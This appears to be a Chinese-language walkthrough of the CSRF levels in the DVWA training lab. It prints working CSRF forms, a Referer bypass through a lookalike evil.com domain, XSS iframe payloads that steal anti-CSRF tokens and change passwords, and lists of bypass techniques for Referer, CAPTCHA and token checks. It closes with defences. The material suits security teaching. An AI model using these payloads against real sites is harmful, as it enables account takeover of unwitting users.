目录
漏洞原理
跨站请求伪造(英语:Cross-siterequest forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF ,是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。
简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
Low
渗透思路
按照页面提示进行正常操作后结果如下图所示,很明显密码修改参数由 GET 提交,我们可以先简单的就此链接做一个CSRF 页面。
Burpsuit 生成 CSRF POC
Burpsuit 抓包后请求内容如下:
在 Request 一栏中右键选择 Engagement tools 中的 Generate CSRF PoC,生成 CSRF 表单
HTML CSRF 表单内容如下:
因为是模仿受害者点击该连接实现密码修改,所以需要点击该链接提交表单时也需要受害者在网站上处于登陆状态,而且登陆后浏览器中保存了验证身份的 cookie 等信息,所以登陆网站的浏览器也要与之前相同,否则身份验证不成功,就无法成功修改用户密码了。
打开有 CSRF 链接的页面,点击Submit request 即可实现密码修改,页面也会跳转到修改成功页面。
注:实战里受害者不会那么傻,需要用社工技巧和有效页面诱导点击,也可以通过 XSS 漏洞实现自动请求
Medium
按之前同样的 CSRF 表单提交方式不再见效。
渗透思路
通过对比 CSRF 失败和正常请求成功的报文,发现两者 Referer 不一样,应该是后台限制了 Referer,有关 Referer 绕过思路可以有
- 存储 XSS 漏洞实现Referer在某域情况下绕过
- 存在某关键字绕过(目录名为关键字)
- 未进行根域名校验绕过
这里采取第三种
未进行根域名校验绕过 Referer 校验
假设目标域名为 www.dvwa.com,为符合域名关键字校验,可以申请带有关键字的域名,比如 www.dvwa.com.evil.com
CSRF payload 恶意链接为 http://www.dvwa.com.evil.com/csrf_poc.php,内容如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.dvwa.com/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password" />
<input type="hidden" name="password_conf" value="password" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
点击后成功实现 CSRF 攻击,请求包的 Referer 虽然是恶意域名 host,但是包含目标域名关键字,所以成功绕过
源码对比
Low 源码
Medium 源码
对比小结
通过对比可知,Medium 和 Low 两个的等级代码区别主要是通过 Referer 字段阻止外域 CSRF 攻击,但并没有对根域名进行校验
High
渗透思路
故技重施难免会失败,报错也明确告诉我们缺少正确 token,所首先要获得 token 才能发送请求
token 劫持通常需要 XSS 漏洞的配合
XSS 劫持 token 发送 CSRF
在 http://www.dvwa.com/vulnerabilities/csrf/ 页面发现隐藏的 user_token 字段
XSS 漏洞页面 http://www.dvwa.com/vulnerabilities/xss_r/,发送如下 paylaod 即可劫持到 token
<iframe src="../csrf/" onload="alert(frames[0].document.getElementsByName('user_token')[0].value)" border="0" style="display:none;"></iframe>
劫持到 token 后可以通过 XMLHttpRequest 异步发送 CSRF 请求,从网络流量可以看出密码修改成功
<iframe src="../csrf" onload="var t=frames[0].document.getElementsByName('user_token')[0].value;x=new XMLHttpRequest();x.open('GET','../csrf/?password_new=123456&password_conf=123456&Change=Change&user_token='+t, null);x.send()" border="0" style="display:none;></iframe>
任意文件上传写入 CSRF POC
CSRF POC 源码
<script type="text/javascript">
function attack(){
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://www.dvwa.com/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://www.dvwa.com/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
上传路径:http://www.dvwa.com/vulnerabilities/csrf/source/csrf_token_poc.php
从如下流量可以看出 CSRF POC 在劫持到 token 后发起请求,成功修改密码
源码对比
Medium 源码
High 源码
对比小结
通过对比可知,High 和 Medium 两个的等级代码区别主要是:
- 添加 CSRF token 用来防止 CSRF 攻击
- 虽然没有用到 Referer,但是请求 user_token 需要用到 cookie,很好的避免外域恶意链接,缩小攻击范围。
Impossible
源码对比
High 源码
Impossible 源码
对比小结
通过对比可知,Impossible 和 High 两个的等级代码区别主要是:
- 添加 password_current 校验,防止 CSRF 蒙混过关
- stripslashes 删除参数 / 符号
- SQL 语句预编译执行,有效杜绝 SQL 注入
绕过
Referer 绕过
- refer 为空
- refer 删除绕过
- 利用https协议,https向http跳转的时候Referer为空
- 存储 XSS 漏洞实现Referer在某域情况下绕过
- 存在某关键字绕过(目录名为关键字)
- 未进行根域名校验绕过
验证码绕过
- 删除验证码字段
- 修改验证码验证返回状态值
- 万能测试验证码
- 前端 js 验证代码删除
- 响应返回验证码
- 验证码重放
token 绕过
- token 为空绕过
- token 删除绕过
- token 重放绕过
- xss 表单劫持 token 绕过
- xss url 参数劫持 token 绕过
- url 跳转漏洞绕过
防御
- 验证 Referer,Origin,token
- 自定义 HTTP 头属性
- 针对实际情况,设置关键Cookie的SameSite属性为Strict或Lax
- 限制 cookie 时效性
- 添加验证码
- 用户关闭页面时要及时清除认证 cookie
- 获取参数指定request.form()还是request. querystring(),这样有利于阻止CSRF漏洞攻击